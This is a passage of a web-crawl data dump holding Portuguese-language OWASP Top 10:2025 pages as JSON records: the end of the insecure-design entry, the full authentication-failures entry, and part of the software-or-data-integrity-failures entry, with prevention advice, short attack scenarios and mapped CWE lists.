fluxos críticos são resistentes ao modelo de ameaças. Compile casos de uso ( *use-cases* ) **e** casos de abuso ( *misuse-cases* ) para cada camada da sua aplicação.\n- Segregue as camadas do sistema e da rede, dependendo da exposição e das necessidades de proteção.\n- Segregue instâncias ( *tenants* ) de forma robusta por design em todas as camadas.\n\n## Exemplos de cenários de ataque\n\n**Cenário #1:** Um fluxo de recuperação de credenciais pode incluir \"perguntas e respostas\", o que é proibido pelo NIST 800-63b, pelo OWASP ASVS e pelo OWASP Top 10. Perguntas e respostas não podem ser confiáveis como prova de identidade, pois mais de uma pessoa pode saber as respostas. Tal funcionalidade deve ser removida e substituída por um design mais seguro.\n\n**Cenário #2:** Uma rede de cinemas permite descontos para reservas em grupo e possui um máximo de quinze participantes antes de exigir um depósito. Atacantes poderiam modelar as ameaças deste fluxo e testar se conseguem encontrar um vetor de ataque na lógica de negócio da aplicação, por exemplo, reservando seiscentos assentos em todos os cinemas de uma só vez em poucas requisições, causando uma perda massiva de receita.\n\n**Cenário #3:** O site de e-commerce de uma rede varejista não possui proteção contra *bots* operados por cambistas (*scalpers*) que compram placas de vídeo de alto desempenho para revender em sites de leilão. Isso gera uma publicidade terrível para os fabricantes de placas de vídeo e para os proprietários da rede varejista, além de um rancor duradouro com os entusiastas que não conseguem obter essas placas por preço algum. Um design anti-bot cuidadoso e regras de lógica de domínio, como identificar compras feitas em poucos segundos após a disponibilidade, poderiam identificar compras inautênticas e rejeitar tais transações.\n\n## Referências\n\n- [OWASP Cheat Sheet: Secure Design Principles](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html)\n- [OWASP SAMM: Design | Secure Architecture](https://owaspsamm.org/model/design/secure-architecture/)\n- [OWASP SAMM: Design | Threat Assessment](https://owaspsamm.org/model/design/threat-assessment/)\n- [NIST – Guidelines on Minimum Standards for Developer Verification of Software](https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software)\n- [The Threat Modeling Manifesto](https://threatmodelingmanifesto.org/)\n- [Awesome Threat Modeling](https://github.com/hysnsec/awesome-threat-modelling)\n\n## Lista de CWEs Mapeadas\n\n- [CWE-73 External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n- [CWE-183 Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [CWE-256 Unprotected Storage of Credentials](https://cwe.mitre.org/data/definitions/256.html)\n- [CWE-266 Incorrect Privilege Assignment](https://cwe.mitre.org/data/definitions/266.html)\n- [CWE-269 Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)\n- [CWE-286 Incorrect User Management](https://cwe.mitre.org/data/definitions/286.html)\n- [CWE-311 Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [CWE-312 Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)\n- [CWE-313 Cleartext Storage in a File or on Disk](https://cwe.mitre.org/data/definitions/313.html)\n- [CWE-316 Cleartext Storage of Sensitive Information in Memory](https://cwe.mitre.org/data/definitions/316.html)\n- [CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-382 J2EE Bad Practices: Use of System.exit()](https://cwe.mitre.org/data/definitions/382.html)\n- [CWE-419 Unprotected Primary Channel](https://cwe.mitre.org/data/definitions/419.html)\n- [CWE-434 Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)\n- [CWE-436 Interpretation Conflict](https://cwe.mitre.org/data/definitions/436.html)\n- [CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-451 User Interface (UI) Misrepresentation of Critical Information](https://cwe.mitre.org/data/definitions/451.html)\n- [CWE-454 External Initialization of Trusted Variables or Data Stores](https://cwe.mitre.org/data/definitions/454.html)\n- [CWE-472 External Control of Assumed-Immutable Web Parameter](https://cwe.mitre.org/data/definitions/472.html)\n- [CWE-501 Trust Boundary Violation](https://cwe.mitre.org/data/definitions/501.html)\n- [CWE-522 Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html)\n- [CWE-525 Use of Web Browser Cache Containing Sensitive Information](https://cwe.mitre.org/data/definitions/525.html)\n- [CWE-539 Use of Persistent Cookies Containing Sensitive Information](https://cwe.mitre.org/data/definitions/539.html)\n- [CWE-598 Use of GET Request Method With Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n- [CWE-602 Client-Side Enforcement of Server-Side Security](https://cwe.mitre.org/data/definitions/602.html)\n- [CWE-628 Function Call with Incorrectly Specified Arguments](https://cwe.mitre.org/data/definitions/628.html)\n- [CWE-642 External Control of Critical State Data](https://cwe.mitre.org/data/definitions/642.html)\n- [CWE-646 Reliance on File Name or Extension of Externally-Supplied File](https://cwe.mitre.org/data/definitions/646.html)\n- [CWE-653 Insufficient Compartmentalization](https://cwe.mitre.org/data/definitions/653.html)\n- [CWE-656 Reliance on Security Through Obscurity](https://cwe.mitre.org/data/definitions/656.html)\n- [CWE-657 Violation of Secure Design Principles](https://cwe.mitre.org/data/definitions/657.html)\n- [CWE-676 Use of Potentially Dangerous Function](https://cwe.mitre.org/data/definitions/676.html)\n- [CWE-693 Protection Mechanism Failure](https://cwe.mitre.org/data/definitions/693.html)\n- [CWE-799 Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n- [CWE-807 Reliance on Untrusted Inputs in a Security Decision](https://cwe.mitre.org/data/definitions/807.html)\n- [CWE-841 Improper Enforcement of Behavioral Workflow](https://cwe.mitre.org/data/definitions/841.html)\n- [CWE-1021 Improper Restriction of Rendered UI Layers or Frames](https://cwe.mitre.org/data/definitions/1021.html)\n- [CWE-1022 Use of Web Link to Untrusted Target with window.opener Access](https://cwe.mitre.org/data/definitions/1022.html)\n- [CWE-1125 Excessive Attack Surface](https://cwe.mitre.org/data/definitions/1125.html)", "znaku_textu": 13149, "slov": 1621, "odkazu": 84, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:09", "sha256": "d349d939a65d896a9fe3e59f0c6287a02752efe586785829a2320ddc5c00ca0f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://owaspsamm.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html", "https://owaspsamm.org/model/design/secure-architecture/", "https://owaspsamm.org/model/design/threat-assessment/", "https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software", "https://threatmodelingmanifesto.org/", "https://github.com/hysnsec/awesome-threat-modelling", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/286.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/382.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/436.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/454.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/628.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/676.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1022.html", "https://cwe.mitre.org/data/definitions/1125.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/A07_2025-Authentication_Failures/", "titulek": "A07 Falhas de Autenticação - OWASP Top 10:2025", "h1": "A07:2025 Falhas de Autenticação", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/A07_2025-Authentication_Failures/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A07:2025 Falhas de Autenticação"}, {"uroven": 2, "text": "Contexto"}, {"uroven": 2, "text": "Tabela de pontuação"}, {"uroven": 2, "text": "Descrição"}, {"uroven": 2, "text": "Como prevenir"}, {"uroven": 2, "text": "Exemplos de cenários de ataque"}, {"uroven": 2, "text": "Referências"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A07:2025 Falhas de Autenticação\n\n## Contexto\n\nFalhas de Autenticação mantém sua posição em #7 com uma leve mudança no nome para refletir com mais precisão as 36 CWEs nesta categoria. Apesar dos benefícios de *frameworks* padronizados, esta categoria manteve sua classificação de 2021. CWEs notáveis incluídas são *CWE-259 Use of Hard-coded Password*, *CWE-297: Improper Validation of Certificate with Host Mismatch*, *CWE-287: Improper Authentication*, *CWE-384: Session Fixation* e *CWE-798 Use of Hard-coded Credentials*.\n\n## Tabela de pontuação\n\n| CWEs Mapeadas | Taxa Máx. de Incidência | Taxa Méd. de Incidência | Cobertura Máxima | Cobertura Média | Exploit Ponderado Médio | Impacto Ponderado Médio | Total de Ocorrências | Total de CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 36 | 15,80% | 2,92% | 100,00% | 37,14% | 7,69 | 4,44 | 1.120.673 | 7.147 |\n\n## Descrição\n\nEsta vulnerabilidade está presente quando um atacante é capaz de enganar um sistema para reconhecer um usuário inválido ou incorreto como legítimo. Pode haver fraquezas de autenticação se a aplicação:\n\n- Permite ataques automatizados, como *credential stuffing* , onde o atacante possui uma lista vazada de nomes de usuário e senhas válidos. Recentemente, esse tipo de ataque foi expandido para incluir ataques de senha híbridos (também conhecidos como ataques de *password spray* ), onde o atacante usa variações ou incrementos de credenciais vazadas para ganhar acesso — por exemplo, tentando Password1!, Password2!, Password3! e assim por diante.\n- Permite *brute force* ou outros ataques automatizados por scripts que não são bloqueados rapidamente.\n- Permite senhas padrão, fracas ou bem conhecidas, como o nome de usuário \"admin\" com a senha \"admin\" ou a senha \"Password1\".\n- Permite que usuários criem novas contas com credenciais que já se sabe terem sido comprometidas em vazamentos.\n- Permite o uso de processos de recuperação de credenciais e \"esqueci minha senha\" fracos ou ineficazes, como \"perguntas baseadas em conhecimento\", que não podem ser tornadas seguras.\n- Usa repositórios de dados de senhas em texto puro, criptografados ou com *hashes* fracos (veja [A04:2025-Falhas Criptográficas](https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/) ).\n- Possui autenticação multifator (MFA) ausente ou ineficaz.\n- Permite o uso de *fallbacks* fracos ou ineficazes caso a autenticação multifator não esteja disponível.\n- Expõe o identificador de sessão na URL, em um campo oculto ou em outro local inseguro que seja acessível ao cliente.\n- Reutiliza o mesmo identificador de sessão após um login bem-sucedido.\n- Não invalida corretamente as sessões de usuário ou *tokens* de autenticação (principalmente *tokens* de Single Sign-On (SSO)) durante o logout ou após um período de inatividade.\n- Não valida corretamente o escopo e o público-alvo ( *audience* ) das credenciais fornecidas.\n\n## Como prevenir\n\n- Sempre que possível, implemente e force o uso de autenticação multifator (MFA) para prevenir *credential stuffing* automatizado, *brute force* e ataques de reutilização de credenciais roubadas.\n- Sempre que possível, incentive e habilite o uso de gerenciadores de senhas para ajudar os usuários a fazerem escolhas melhores.\n- Não envie ou implante o sistema com credenciais padrão, particularmente para usuários administradores.\n- Implemente verificações de senhas fracas, como testar senhas novas ou alteradas contra uma lista das 10.000 piores senhas.\n- Durante a criação de novas contas e alterações de senha, valide-as contra listas de credenciais conhecidas como vazadas (ex: usando [haveibeenpwned.com](https://haveibeenpwned.com) ).\n- Alinhe as políticas de comprimento, complexidade e rotação de senhas com as [diretrizes do National Institute of Standards and Technology (NIST) 800-63b, seção 5.1.1](https://pages.nist.gov/800-63-3/sp800-63b.html#:~:text=5.1.1%20Memorized%20Secrets) para Segredos Memorizados ou outras políticas de senha modernas baseadas em evidências.\n- Não force seres humanos a rotacionar senhas, a menos que você suspeite de uma violação. Se suspeitar de violação, force a redefinição de senha imediatamente.\n- Garanta que as rotas de registro, recuperação de credenciais e caminhos de API sejam endurecidos contra ataques de enumeração de contas, usando as mesmas mensagens para todos os resultados (\"Nome de usuário ou senha inválidos.\").\n- Limite ou atrase progressivamente as tentativas de login malsucedidas, mas tome cuidado para não criar um cenário de negação de serviço (DoS). Registre todas as falhas em logs e alerte os administradores quando ataques de *credential stuffing* , *brute force* ou outros forem detectados ou suspeitos.\n- Use um gerenciador de sessão seguro e nativo no lado do servidor que gere um novo ID de sessão aleatório com alta entropia após o login. Identificadores de sessão não devem estar na URL, devem ser armazenados de forma segura em um *cookie* seguro e invalidados após logout, inatividade e expiração absoluta ( *timeout* ).\n- Idealmente, use um sistema pronto e bem estabelecido para lidar com autenticação, identidade e gerenciamento de sessão. Transfira esse risco sempre que possível, comprando e utilizando um sistema testado e endurecido.\n- Verifique o uso pretendido das credenciais fornecidas; por exemplo, para JWTs, valide as *claims* `aud` , `iss` e os escopos.\n\n## Exemplos de cenários de ataque\n\n**Cenário #1:** O *credential stuffing* — o uso de listas de combinações conhecidas de nomes de usuário e senhas — é agora um ataque muito comum. Mais recentemente, descobriu-se que atacantes \"incrementam\" ou ajustam senhas com base no comportamento humano comum. Por exemplo, alterando 'Winter2025' para 'Winter2026', ou 'ILoveMyDog6' para 'ILoveMyDog7'. Esse ajuste de tentativas de senha é chamado de ataque de *credential stuffing* híbrido ou ataque de *password spray*, e eles podem ser ainda mais eficazes do que a versão tradicional. Se uma aplicação não implementa defesas contra ameaças automatizadas (*brute force*, scripts ou *bots*) ou *credential stuffing*, a aplicação pode ser usada como um \"oráculo de senhas\" para determinar se as credenciais são válidas e obter acesso não autorizado.\n\n**Cenário #2:** A maioria dos ataques de autenticação bem-sucedidos ocorre devido ao uso contínuo de senhas como o único fator de autenticação. Outrora consideradas melhores práticas, as exigências de rotação e complexidade de senhas encorajam os usuários tanto a reutilizar senhas quanto a usar senhas fracas. Recomenda-se que as organizações interrompam essas práticas conforme a norma NIST 800-63 e forcem o uso de autenticação multifator em todos os sistemas importantes.\n\n**Cenário #3:** Os tempos de expiração de sessão (*timeouts*) da aplicação não estão implementados corretamente. Um usuário utiliza um computador público para acessar uma aplicação e, em vez de selecionar \"logout\", simplesmente fecha a aba do navegador e vai embora. Outro exemplo é quando uma sessão de Single Sign-On (SSO) não pode ser encerrada por um Single Logout (SLO). Ou seja, um único login autentica você no seu leitor de e-mails, sistema de documentos e sistema de chat, por exemplo. Mas o logout acontece apenas no sistema atual. Se um atacante usar o mesmo navegador após a vítima pensar que deslogou com sucesso, mas ainda estiver autenticada em algumas das aplicações, ele poderá acessar a conta da vítima. O mesmo problema pode ocorrer em escritórios e empresas quando uma aplicação sensível não foi devidamente encerrada e um colega tem acesso (temporário) ao computador desbloqueado.\n\n## Referências\n\n- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Secure Coding Practices](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/stable-en/01-introduction/05-introduction)\n\n## Lista de CWEs Mapeadas\n\n- [CWE-258 Empty Password in Configuration File](https://cwe.mitre.org/data/definitions/258.html)\n- [CWE-259 Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html)\n- [CWE-287 Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [CWE-288 Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html)\n- [CWE-289 Authentication Bypass by Alternate Name](https://cwe.mitre.org/data/definitions/289.html)\n- [CWE-290 Authentication Bypass by Spoofing](https://cwe.mitre.org/data/definitions/290.html)\n- [CWE-291 Reliance on IP Address for Authentication](https://cwe.mitre.org/data/definitions/291.html)\n- [CWE-293 Using Referer Field for Authentication](https://cwe.mitre.org/data/definitions/293.html)\n- [CWE-294 Authentication Bypass by Capture-replay](https://cwe.mitre.org/data/definitions/294.html)\n- [CWE-295 Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html)\n- [CWE-297 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/297.html)\n- [CWE-298 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/298.html)\n- [CWE-299 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/299.html)\n- [CWE-300 Channel Accessible by Non-Endpoint](https://cwe.mitre.org/data/definitions/300.html)\n- [CWE-302 Authentication Bypass by Assumed-Immutable Data](https://cwe.mitre.org/data/definitions/302.html)\n- [CWE-303 Incorrect Implementation of Authentication Algorithm](https://cwe.mitre.org/data/definitions/303.html)\n- [CWE-304 Missing Critical Step in Authentication](https://cwe.mitre.org/data/definitions/304.html)\n- [CWE-305 Authentication Bypass by Primary Weakness](https://cwe.mitre.org/data/definitions/305.html)\n- [CWE-306 Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-307 Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-308 Use of Single-factor Authentication](https://cwe.mitre.org/data/definitions/308.html)\n- [CWE-309 Use of Password System for Primary Authentication](https://cwe.mitre.org/data/definitions/309.html)\n- [CWE-346 Origin Validation Error](https://cwe.mitre.org/data/definitions/346.html)\n- [CWE-350 Reliance on Reverse DNS Resolution for a Security-Critical Action](https://cwe.mitre.org/data/definitions/350.html)\n- [CWE-384 Session Fixation](https://cwe.mitre.org/data/definitions/384.html)\n- [CWE-521 Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html)\n- [CWE-613 Insufficient Session Expiration](https://cwe.mitre.org/data/definitions/613.html)\n- [CWE-620 Unverified Password Change](https://cwe.mitre.org/data/definitions/620.html)\n- [CWE-640 Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)\n- [CWE-798 Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)\n- [CWE-940 Improper Verification of Source of a Communication Channel](https://cwe.mitre.org/data/definitions/940.html)\n- [CWE-941 Incorrectly Specified Destination in a Communication Channel](https://cwe.mitre.org/data/definitions/941.html)\n- [CWE-1390 Weak Authentication](https://cwe.mitre.org/data/definitions/1390.html)\n- [CWE-1391 Use of Weak Credentials](https://cwe.mitre.org/data/definitions/1391.html)\n- [CWE-1392 Use of Default Credentials](https://cwe.mitre.org/data/definitions/1392.html)\n- [CWE-1393 Use of Default Password](https://cwe.mitre.org/data/definitions/1393.html)", "znaku_textu": 11296, "slov": 1398, "odkazu": 76, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:10", "sha256": "6f85e66be260415d6adfa7752b0e948f70f56b3149f2be9fb3d0a405ebbb96f7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://haveibeenpwned.com/", "https://pages.nist.gov/800-63-3/sp800-63b.html", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/258.html", "https://cwe.mitre.org/data/definitions/259.html", "https://cwe.mitre.org/data/definitions/287.html", "https://cwe.mitre.org/data/definitions/288.html", "https://cwe.mitre.org/data/definitions/289.html", "https://cwe.mitre.org/data/definitions/290.html", "https://cwe.mitre.org/data/definitions/291.html", "https://cwe.mitre.org/data/definitions/293.html", "https://cwe.mitre.org/data/definitions/294.html", "https://cwe.mitre.org/data/definitions/295.html", "https://cwe.mitre.org/data/definitions/297.html", "https://cwe.mitre.org/data/definitions/298.html", "https://cwe.mitre.org/data/definitions/299.html", "https://cwe.mitre.org/data/definitions/300.html", "https://cwe.mitre.org/data/definitions/302.html", "https://cwe.mitre.org/data/definitions/303.html", "https://cwe.mitre.org/data/definitions/304.html", "https://cwe.mitre.org/data/definitions/305.html", "https://cwe.mitre.org/data/definitions/306.html", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/308.html", "https://cwe.mitre.org/data/definitions/309.html", "https://cwe.mitre.org/data/definitions/346.html", "https://cwe.mitre.org/data/definitions/350.html", "https://cwe.mitre.org/data/definitions/384.html", "https://cwe.mitre.org/data/definitions/521.html", "https://cwe.mitre.org/data/definitions/613.html", "https://cwe.mitre.org/data/definitions/620.html", "https://cwe.mitre.org/data/definitions/640.html", "https://cwe.mitre.org/data/definitions/798.html", "https://cwe.mitre.org/data/definitions/940.html", "https://cwe.mitre.org/data/definitions/941.html", "https://cwe.mitre.org/data/definitions/1390.html", "https://cwe.mitre.org/data/definitions/1391.html", "https://cwe.mitre.org/data/definitions/1392.html", "https://cwe.mitre.org/data/definitions/1393.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/pt-BR/A08_2025-Software_or_Data_Integrity_Failures/", "titulek": "A08 Falhas de Integridade de Software ou de Dados - OWASP Top 10:2025", "h1": "A08:2025 Falhas de Integridade de Software ou Dados", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/pt-BR/A08_2025-Software_or_Data_Integrity_Failures/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A08:2025 Falhas de Integridade de Software ou Dados"}, {"uroven": 2, "text": "Contexto"}, {"uroven": 2, "text": "Tabela de pontuação"}, {"uroven": 2, "text": "Descrição"}, {"uroven": 2, "text": "Como prevenir"}, {"uroven": 2, "text": "Exemplos de cenários de ataque"}, {"uroven": 2, "text": "Referências"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A08:2025 Falhas de Integridade de Software ou Dados\n\n## Contexto\n\nFalhas de Integridade de Software ou Dados continua em #8, com uma leve alteração esclarecedora no nome (de \"Software *and* Data...\" para \"Software *or* Data...\"). Esta categoria foca na falha em manter limites de confiança e verificar a integridade de artefatos de software, código e dados em um nível inferior às Falhas na Cadeia de Suprimentos de Software. Esta categoria foca em assumir pressupostos relacionados a atualizações de software e dados críticos sem verificar sua integridade. Enumerações de Fraquezas Comuns (CWEs) notáveis incluem *CWE-829: Inclusion of Functionality from Untrusted Control Sphere*, *CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes* e *CWE-502: Deserialization of Untrusted Data*.\n\n## Tabela de pontuação\n\n| CWEs Mapeadas | Taxa Máx. de Incidência | Taxa Méd. de Incidência | Cobertura Máxima | Cobertura Média | Exploit Ponderado Médio | Impacto Ponderado Médio | Total de Ocorrências | Total de CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 14 | 8,98% | 2,75% | 78,52% | 45,49% | 7,11 | 4,79 | 501.327 | 3.331 |\n\n## Descrição\n\nFalhas de integridade de software e dados referem-se a códigos e infraestruturas que não protegem contra códigos ou dados inválidos ou não confiáveis que são tratados como íntegros e válidos. Um exemplo disso ocorre quando uma aplicação depende de plugins, bibliotecas ou módulos de fontes, repositórios e redes de entrega de conteúdo (CDNs) não confiáveis. Um *pipeline* de CI/CD inseguro, que não consome nem fornece verificações de integridade de software, pode introduzir o potencial de acesso não autorizado, código malicioso ou comprometimento do sistema. Outro exemplo é um CI/CD que extrai código ou artefatos de locais não confiáveis e/ou não os verifica antes do uso (através de assinatura digital ou mecanismo similar). Por fim, muitas aplicações agora incluem funcionalidade de atualização automática, onde atualizações são baixadas sem verificação de integridade suficiente e aplicadas à aplicação previamente confiável. Atacantes poderiam potencialmente fazer o *upload* de suas próprias atualizações para serem distribuídas e executadas em todas as instalações. Outro exemplo ocorre quando objetos ou dados são codificados ou serializados em uma estrutura que um atacante pode visualizar e modificar, tornando a aplicação vulnerável à desserialização insegura.\n\n## Como prevenir\n\n- Utilize assinaturas digitais ou mecanismos similares para verificar se o software ou dado provém da fonte esperada e não foi alterado.\n- Garanta que bibliotecas e dependências, como npm ou Maven, estejam consumindo apenas repositórios confiáveis. Se você tiver um perfil de risco mais elevado, considere hospedar um repositório interno de itens conhecidos e aprovados ( *vetted* ).\n- Garanta que haja um processo de revisão para alterações de código e configuração para minimizar a chance de que códigos ou configurações maliciosas sejam introduzidos em seu *pipeline* de software.\n- Garanta que seu *pipeline* de CI/CD possua segregação, configuração e controle de acesso adequados para assegurar a integridade do código que flui pelos processos de compilação ( *build* ) e implantação ( *deploy* ).\n- Garanta que dados serializados não assinados ou não criptografados não sejam recebidos de clientes não confiáveis e usados posteriormente sem algum tipo de verificação de integridade ou assinatura digital para detectar adulteração ou repetição ( *replay* ) dos dados serializados.\n\n## Exemplos de cenários de ataque\n\n**Cenário #1 Inclusão de Funcionalidade Web de Fonte Não Confiável:** Uma empresa utiliza um provedor de serviços externo para fornecer funcionalidade de suporte. Por conveniência, possui um mapeamento de DNS de `minhaEmpresa.ProvedorSuporte.com` para `suporte.minhaEmpresa.com`. Isso significa que todos os *cookies*, incluindo *cookies* de autenticação configurados no domínio `minhaEmpresa.com`, serão enviados para o provedor de suporte. Qualquer pessoa com acesso à infraestrutura do provedor de suporte pode roubar os *cookies* de todos os seus usuários que visitaram `suporte.minhaEmpresa.com` e realizar um ataque de sequestro de sessão (*session hijacking*).\n\n**Cenário #2 Atualização sem assinatura:** Muitos roteadores domésticos, decodificadores de TV (*set-top boxes*), firmwares de dispositivos e outros não verificam atualizações via firmware assinado. Firmware não assinado é um alvo crescente para atacantes e a expectativa é que a situação piore. Esta é uma preocupação importante, pois muitas vezes não há mecanismo de remediação além de corrigir em uma versão futura e esperar que as versões anteriores deixem de ser usadas.\n\n**Cenário #3 Uso de Pacote de Fonte Não Confiável:** Um desenvolvedor tem dificuldade em encontrar a versão atualizada de um pacote que está procurando, então ele o baixa não do gerenciador de pacotes regular e confiável, mas de um site qualquer na internet. O pacote não está assinado e, portanto, não há oportunidade de garantir a integridade. O pacote inclui código malicioso.\n\n**Cenário #4 Desserialização Insegura:** Uma aplicação React chama um conjunto de microserviços Spring Boot. Sendo programadores funcionais, eles tentaram garantir que seu código fosse imutável. A solução encontrada foi serializar o estado do usuário e passá-lo de um lado para o outro em cada requisição. Um atacante percebe a assinatura de objeto Java \"rO0\" (em base64) e utiliza o [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) para obter execução remota de código (RCE) no servidor da aplicação.\n\n## Referências\n\n- [OWASP Cheat Sheet: Software Supply Chain Security](https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Infrastructure as Code](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Deserialization](https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet)\n- [SAFECode Software Integrity Controls](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [A 'Worst Nightmare' Cyberattack: The Untold Story Of The SolarWinds Hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n- [CodeCov Bash Uploader Compromise](https://about.codecov.io/security-update)\n- [Securing DevOps by Julien Vehent](https://www.manning.com/books/securing-devops)\n- [Insecure Deserialization by Tenendo](https://tenendo.com/insecure-deserialization/)\n\n## Lista de CWEs Mapeadas\n\n- [CWE-345 Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-353 Missing Support for Integrity Check](https://cwe.mitre.org/data/definitions/353.html)\n- [CWE-426 Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)\n- [CWE-427 Uncontrolled Search Path Element](https://cwe.mitre.org/data/definitions/427.html)\n- [CWE-494 Download of Code Without Integrity Check](https://cwe.mitre.org/data/definitions/494.html)\n- [CWE-502 Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n- [CWE-506 Embedded Malicious Code](https://cwe.mitre.org/data/definitions/506.html)\n- [CWE-509 Replicating Malicious Code (Virus or Worm)](https://cwe.mitre.org/data/definitions/509.html)\n- [CWE-565 Reliance on Cookies without Validation and Integrity Checking](https://cwe.mitre.org/data/definitions/565.html)\n- [CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision](https://cwe.mitre.org/data/definitions/784.html)\n- [CWE-829 Inclusion of Functionality from Untrusted Control Sphere](https://cwe.mitre.org/data/definitions/829.html)\n- [CWE-830 Inclusion of Web Functionality from an Untrusted Source](https://cwe.mitre.org/data/definitions/830.html)\n- [CWE-915 Improperly Controlled Modification of 